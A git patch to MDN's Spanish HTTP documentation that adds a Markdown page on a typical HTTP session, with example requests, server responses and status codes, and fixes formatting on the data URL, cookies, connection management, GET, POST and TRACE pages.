  • El método {{HTTPMethod("POST")}} envía datos al servidor de manera que este pueda cambiar su estado. Este es el método usado normalmente para enviar los datos de un formulario HTML.
    • -
- -

Estructura de la respuesta del servidor

- -

Después de que el agente de usuario envía su petición, el servidor web lo procesa, y a continuación responde. De forma similar a la petición del servidor, la respuesta del servidor está formada por directivas de texto, separadas por el carácter CRLF, y divida en tres bloques.

- -
    -
  1. La primera línea, es la línea de estado, que consiste en una confirmación del la versión de HTTP utilizado, y seguido por el estado de la petición (y una breve descripción de este, en formato de texto, que pueda ser leído por personas).
    2. -
  2. Las líneas siguientes representan cabeceras de HTTP concretas, dando al cliente información sobre los datos enviado( por ejemplo, su tipo, su tamaño, algoritmos de compresión utilizados, y sugerencias para el cacheo). Al igual que las cabeceras HTTP de la petición de un cliente, las cabeceras HTTP del servidor, finalizan con una línea vacía.
    3. -
  3. El bloque final, es el bloque que puede contener opcionalmente los datos.
    4. -
- -

Ejemplos de respuestas

- -

La respuesta correcta de una página web, es como sigue:

- -
HTTP/1.1 200 OK
-Date: Sat, 09 Oct 2010 14:28:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-ETag: "51142bc1-7449-479b075b2891b"
-Accept-Ranges: bytes
-Content-Length: 29769
-Content-Type: text/html
-
-<!DOCTYPE html... (aquí estarían los 29769 bytes de la página web pedida)
-
-
- -

La respuesta para la petición de datos que han sido movidos permanentemente, sería:

- -
HTTP/1.1 301 Moved Permanently
-Server: Apache/2.2.3 (Red Hat)
-Content-Type: text/html; charset=iso-8859-1
-Date: Sat, 09 Oct 2010 14:30:24 GMT
-Location: https://developer.mozilla.org/ (este es el nuevo enlace a los datos; se espera que el agente de usuario lo pida a continuación)
-Keep-Alive: timeout=15, max=98
-Accept-Ranges: bytes
-Via: Moz-Cache-zlb05
-Connection: Keep-Alive
-X-Cache-Info: caching
-X-Cache-Info: caching
-Content-Length: 325 (se da una página por defecto para mostrar en el caso de que el agente de usuario no sea capaz de seguir el enlace)
-
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<html><head>
-<title>301 Movido permanentemente</title>
-</head><body>
-<h1>Movido de forma permanente</h1>
-<p>El documento ha sido movido <a href="https://developer.mozilla.org/">aquí</a>.</p>
-<hr>
-<address>Apache/2.2.3 (Red Hat) Servidor en: developer.mozilla.org Port 80</address>
-</body></html>
-
-
- -

Una notificación de que los datos pedidos no existen:

- -
HTTP/1.1 404 Not Found
-Date: Sat, 09 Oct 2010 14:33:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 May 2007 14:24:39 GMT
-ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
-Accept-Ranges: bytes
-Content-Length: 10732
-Content-Type: text/html
-
-<!DOCTYPE html... (contiene una página personalizada de ayuda al usuario para que pueda encontrar los datos que busca)
-
-
- -

Códigos de estado de las respuestas

- -

Los códigos de estado de las respuestas indican si una petición HTTP ha sido finalizada correctamente. Las respuestas se agrupan en cinco clases: respuestas informativas, respuestas de finalización correcta, redirecciones, errores del cliente y errores del servidor.

- -
    -
  • {{HTTPStatus(200)}}: OK. La petición ha sido procesada correctamente
    • -
  • {{HTTPStatus(301)}}: Datos movidos permanentemente. Este código de respuesta indica que la URI de los datos pedidos ha cambiado.
    • -
  • {{HTTPStatus(404)}}: Datos no encontrados. El servidor no puede localizar los datos pedidos.
    • -
- -

Vea también

- - diff --git a/files/es/web/http/session/index.md b/files/es/web/http/session/index.md new file mode 100644 index 00000000000000..3bd24047a52a8f --- /dev/null +++ b/files/es/web/http/session/index.md @@ -0,0 +1,137 @@ +--- +title: Una típica sesión de HTTP +slug: Web/HTTP/Session +translation_of: Web/HTTP/Session +original_slug: Web/HTTP/Sesión +--- +{{HTTPSidebar}} + +En los protocolos basados en el modelo cliente-servidor, como es el caso del HTTP, una sesión consta de tres fases: + +1. El cliente establece una conexión TCP (o la conexión correspondiente si la capa de transporte corresponde a otro protocolo). +2. El cliente manda su petición, y espera por la respuesta. +3. El servidor procesa la petición, y responde con un código de estado y los datos correspondientes. + +A partir del protocolo HTTP/1.1 la conexión, no se cierra al finalizar la tercera fase, y el cliente puede continuar realizando peticiones. Esto significa que la segunda y tercera fase, pueden repetirse cualquier número de veces. + +## Estableciendo una conexión + +En un protocolo cliente servidor, es siempre el cliente el que establece la conexión. Iniciar una conexión en HTTP, implica iniciar una conexión en el protocolo correspondiente a la capa de comunicación subyacente, que normalmente es TCP. + +En TCP el puerto por defecto, para un servidor HTTP en un computador, es el puerto 80. Se pueden usar otros puertos como el 8000 o el 8080. La URL de la página pedida contiene tanto el nombre del dominio, como el número de puerto, aunque este puede ser omitido, si se trata del puerto 80. Véase la referencia de [Identificación de recursos en la Web](/es/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) para más detalles. + +> **Nota:** El modelo cliente-servidor no permite que el servidor mande datos al cliente sin una petición explicita. Como solución parcial a este problema, los desarrolladores web, usan varias técnicas, como hacer un ping al servidor periódicamente, mediante {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} APIs, o usar la HTML [WebSockets API](/en/WebSockets "en/WebSockets") o protocolos similares. + +## Mandando una petición + +Una vez la conexión está establecida, el cliente, puede mandar una petición de datos (normalmente es un navegador, u otra cosa, como una 'araña' ( o 'crawler' en inglés), un sistema de indexación automático de páginas web). La petición de datos de un cliente HTTP, consiste en directivas de texto, separadas mediante CRLF (retorno de carro, y cambio de linea), y se divide en tres partes: + +1. La primera parte, consiste en una linea, que contiene un método, seguido de sus parámetros: + + - la dirección del documento pedido: por ejemplo su URL completa, sin indicar el protocolo o el nombre del dominio. + - la versión del protocolo HTTP + +2. La siguiente parte, está formada por un bloque de líneas consecutivas, que representan las cabeceras de la petición HTTP, y dan información al servidor, sobre que tipo de datos es apropiado (como qué lenguaje usar, o el tipo MIME a usar), u otros datos que modifiquen su comportamiento (como que no envié la respuesta si ya está cacheada). Estas cabeceras HTTP forman un bloque que acaba con una línea en blanco. +3. La parte final es un bloque de datos opcional, que puede contener más datos para ser usados por el método POST. + +### Ejemplo de peticiones + +Si queremos una página web, como por ejemplo: [http://developer.mozilla.org/](/ "Linkification: http://developer.mozilla.org/"), y además le indicamos al servidor que se preferiría la página en Francés, si fuera posible: + + GET / HTTP/1.1 + Host: developer.mozilla.org + Accept-Language: fr + +Observe la línea vacía al final, que separa el bloque de datos, del bloque de cabecera. Como no existe el campo `Content-Length` en la cabecera de HTTP, el bloque de datos está vacío, y ahí está el fin de la cabecera, permitiendo al servidor procesar la petición en el momento que recibe la línea vacía. + +Otro ejemplo, en el caso del envío de los datos de un formulario, la trama es: + + POST /contact_form.php HTTP/1.1 + Host: developer.mozilla.org + Content-Length: 64 + Content-Type: application/x-www-form-urlencoded + + name=Juan%20Garcia&request=Envieme%20uno%20de%20sus%20catalogos + +### Métodos de peticiones + +HTTP define un conjunto de [métodos de peticiones](/es/docs/Web/HTTP/Methods) en los que se indican las acciones que se piden realizar al recibir un conjunto de datos. A pesar de que pueden referirse como 'nombres', estos métodos de petición, son denominados a veces como 'verbos' de HTTP. La peticiones más comunes son `GET` y `POST`: + +- El método {{HTTPMethod("GET")}} hace una petición de un recurso específico. Las peticiones con `GET` unicamente hacen peticiones de datos. +- El método {{HTTPMethod("POST")}} envía datos al servidor de manera que este pueda cambiar su estado. Este es el método usado normalmente para enviar los datos de un [formulario HTML](/es/docs/Web/Guide/HTML/Forms). + +## Estructura de la respuesta del servidor + +Después de que el agente de usuario envía su petición, el servidor web lo procesa, y a continuación responde. De forma similar a la petición del servidor, la respuesta del servidor está formada por directivas de texto, separadas por el carácter CRLF, y divida en tres bloques. + +1. La primera línea, es la línea de estado, que consiste en una confirmación del la versión de HTTP utilizado, y seguido por el estado de la petición (y una breve descripción de este, en formato de texto, que pueda ser leído por personas). +2. Las líneas siguientes representan cabeceras de HTTP concretas, dando al cliente información sobre los datos enviado( por ejemplo, su tipo, su tamaño, algoritmos de compresión utilizados, y sugerencias para el cacheo). Al igual que las cabeceras HTTP de la petición de un cliente, las cabeceras HTTP del servidor, finalizan con una línea vacía. +3. El bloque final, es el bloque que puede contener opcionalmente los datos. + +### Ejemplos de respuestas + +La respuesta correcta de una página web, es como sigue: + + HTTP/1.1 200 OK + Date: Sat, 09 Oct 2010 14:28:02 GMT + Server: Apache + Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT + ETag: "51142bc1-7449-479b075b2891b" + Accept-Ranges: bytes + Content-Length: 29769 + Content-Type: text/html + + + + 301 Movido permanentemente + +

Movido de forma permanente

+

El documento ha sido movido aquí.

+
+
Apache/2.2.3 (Red Hat) Servidor en: developer.mozilla.org Port 80
+ + +Una notificación de que los datos pedidos no existen: + + HTTP/1.1 404 Not Found + Date: Sat, 09 Oct 2010 14:33:02 GMT + Server: Apache + Last-Modified: Tue, 01 May 2007 14:24:39 GMT + ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" + Accept-Ranges: bytes + Content-Length: 10732 + Content-Type: text/html + + Date: Wed, 28 Sep 2022 10:28:21 -0500 Subject: [PATCH 2/2] Apply suggestions from code review --- files/es/web/http/basics_of_http/data_urls/index.md | 9 ++++++++- .../web/http/connection_management_in_http_1.x/index.md | 3 ++- files/es/web/http/cookies/index.md | 6 +++--- files/es/web/http/methods/get/index.md | 2 +- files/es/web/http/methods/post/index.md | 8 ++++++-- files/es/web/http/methods/trace/index.md | 2 +- 6 files changed, 21 insertions(+), 9 deletions(-) diff --git a/files/es/web/http/basics_of_http/data_urls/index.md b/files/es/web/http/basics_of_http/data_urls/index.md index 96bc517f83c493..5e863f5990d715 100644 --- a/files/es/web/http/basics_of_http/data_urls/index.md +++ b/files/es/web/http/basics_of_http/data_urls/index.md @@ -68,7 +68,14 @@ Esta sección describe los problemas que comunmente ocurren cuando se crean o se - Falta de control de errores - : Los parametros no válidos en los medios de comunicación, o errores ortográficos cuando se especifiquen` 'base64'`, se ignoran, pero no se proporciona ningún error. - No hay soporte para consulta de cadenas, etc. - - : Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis` ?parameter-data`) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo: data:text/html,lots of text...

bottom?arg=valEsto representa un recurso HTML cuyo contenido es: lots of text...

bottom?arg=val + - : Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis` ?parameter-data`) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo: + ``` + data:text/html,lots of text...

bottom?arg=val + ``` + Esto representa un recurso HTML cuyo contenido es: + ``` + lots of text...

bottom?arg=val + ``` ## Especificaciones diff --git a/files/es/web/http/connection_management_in_http_1.x/index.md b/files/es/web/http/connection_management_in_http_1.x/index.md index b9f5422cf6de3c..ce56d37ca4e824 100644 --- a/files/es/web/http/connection_management_in_http_1.x/index.md +++ b/files/es/web/http/connection_management_in_http_1.x/index.md @@ -49,7 +49,8 @@ En HTTP/1.1 las conexiones son persistentes por defecto, así que esa cabecera n > **Nota:** HTTP pipelining no está activado por defecto en los navegacdores modernos:\* [Proxies](https://en.wikipedia.org/wiki/Proxy_server) con defectos de implementación son habituales y provocan comportamientos extraños y erráticos, que los desarrolladores de Webs, no pueden predecir, ni corregir fácilmente. > > - HTTP Pipelining es complicado de implementar correctamente: el tamaño del recurso pedido, el correcto [RTT](https://en.wikipedia.org/wiki/Round-trip_delay_time) que será utilizado, así como el ancho de banda efectivo, tienen un impacto directo en la en la mejora de rendimiento de este método. Sin conocer estos valores, puede que mensajes importantes, se vean retrasados, por mensajes que no lo son. El concepto de "importante" incluso cambia según se carga la maquetación (layout) de la página. De ahí que este método solamente presente una mejora marginal en la mayoría de los casos. -> - HTTP Pipelining presenta un problema conocido como [HOL](https://en.wikipedia.org/wiki/Head-of-line_blocking)Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la **multiplexación**, que es el que usa HTTP/2. +> - HTTP Pipelining presenta un problema conocido como [HOL](https://en.wikipedia.org/wiki/Head-of-line_blocking) +> Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la **multiplexación**, que es el que usa HTTP/2. Por defecto, las peticiones HTTP son realizadas de manera sequencial. La siguiente petición es realizada una vez que la respuesta a la petición actual ha sido recibida. Debido a que se ven afectadas por latencias en la red y limitaciones en el ancho de banda, ésto puede llevar a retardos significativos hasta que la siguiente petición es _vista_ por el servidor. diff --git a/files/es/web/http/cookies/index.md b/files/es/web/http/cookies/index.md index 7b96deebb2b718..3f9ca035f23335 100644 --- a/files/es/web/http/cookies/index.md +++ b/files/es/web/http/cookies/index.md @@ -32,7 +32,7 @@ Las cookies se utilizan principalmente con tres propósitos: Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la [Web storage API](/es/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` y `sessionStorage`) e [IndexedDB](/es/docs/Web/API/IndexedDB_API). -> **Nota:** > **Advertencia:** > **Nota:** Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el [Inspector de Almacenamiento](/es/docs/Tools/Storage_Inspector) en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento. +> **Nota:** Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el [Inspector de Almacenamiento](/es/docs/Tools/Storage_Inspector) en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento. ## Creando cookies @@ -46,8 +46,8 @@ El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies Este encabezado del servidor le dice al cliente que almacene una cookie. -> **Nota:** Aquí se explica como usar el encabezado `Set-Cookie` en varias aplicaciones del lado del servidor:\* [PHP](https://secure.php.net/manual/en/function.setcookie.php) -> +> **Nota:** Aquí se explica como usar el encabezado `Set-Cookie` en varias aplicaciones del lado del servidor: +> - [PHP](https://secure.php.net/manual/en/function.setcookie.php) > - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) > - [Python](https://docs.python.org/3/library/http.cookies.html) > - [Ruby on Rails](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) diff --git a/files/es/web/http/methods/get/index.md b/files/es/web/http/methods/get/index.md index 0599ce7a1b4c0a..28d693643f485f 100644 --- a/files/es/web/http/methods/get/index.md +++ b/files/es/web/http/methods/get/index.md @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Methods/GET --- {{HTTPSidebar}} -El método HTTP **`GET` **solicita una representación del recurso especificado. Las solicitudes que usan **`GET`** solo deben usarse para recuperar datos (no deben incluir datos). +El método HTTP **`GET`** solicita una representación del recurso especificado. Las solicitudes que usan **`GET`** solo deben usarse para recuperar datos (no deben incluir datos). | Petición con cuerpo | No | | ------------------------------------ | --- | diff --git a/files/es/web/http/methods/post/index.md b/files/es/web/http/methods/post/index.md index 739ae35de358a6..48e990a3162136 100644 --- a/files/es/web/http/methods/post/index.md +++ b/files/es/web/http/methods/post/index.md @@ -7,9 +7,13 @@ tags: - Referencia translation_of: Web/HTTP/Methods/POST --- -{{HTTPSidebar}}El **método** **HTTP `POST` **envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera {{HTTPHeader("Content-Type")}}.La diferencia entre `PUT` y {{HTTPMethod("POST")}} es que `PUT` es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios `POST` idénticos pueden tener efectos adicionales, como pasar una orden muchas veces. +{{HTTPSidebar}} -Una solicitud `POST` es tipicamente enviada por un [formulario HTML](/es/docs/Web/Guide/HTML/Forms) y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo* {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}} de los elementos {{HTMLElement("input") }} o \_\_{{HTMLElement("button")}} :* +El **método HTTP `POST`** envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera {{HTTPHeader("Content-Type")}}. + +La diferencia entre `PUT` y {{HTTPMethod("POST")}} es que `PUT` es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios `POST` idénticos pueden tener efectos adicionales, como pasar una orden muchas veces. + +Una solicitud `POST` es tipicamente enviada por un [formulario HTML](/es/docs/Web/Guide/HTML/Forms) y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}} de los elementos {{HTMLElement("input") }} o {{HTMLElement("button")}} : - `application/`_`x-www-form-urlencoded`: Los valores son codificados en tuplas llave-valor separadas por `'&'`, con un `'='` entre la llave y el valor. Caracteres no-Alfanumericos en ambas (llaves, valores) son {{glossary("percent encoded")}}: Esta es la razón por la cual este tipo no es adecuado para usarse con datos binarios (use `multipart/form-data` en su lugar)_ - `multipart/form-data`_: Cada valor es enviado como un dato de bloque ("input de un formulario"), con un delimitador como separador definido por el usuario ("espacio entre campos"). Éstas llaves son colocadas en el Content-Disposition , la cual es cómo está estructurada cada parte del HEADER en una petición HTTP_ diff --git a/files/es/web/http/methods/trace/index.md b/files/es/web/http/methods/trace/index.md index 0067fe4e34af1e..9e0b0b0a7fa526 100644 --- a/files/es/web/http/methods/trace/index.md +++ b/files/es/web/http/methods/trace/index.md @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Methods/TRACE --- {{HTTPSidebar}} -El **método HTTP `TRACE` **efectúa una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging. +El **método HTTP `TRACE`** efectúa una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging. El destino final de la petición debería devolver el mensaje recibido, excluyendo algunos de los campos descritos abajo, de vuelta al cliente como el mensaje body y una respuesta 200 (OK) con un {{httpheader("Content-Type")}} de `message/http`. El destinatario final es o el servidor de origen o el primer servidor en recibir un {{httpheader("Max-Forwards")}} de valor 0 en la petición.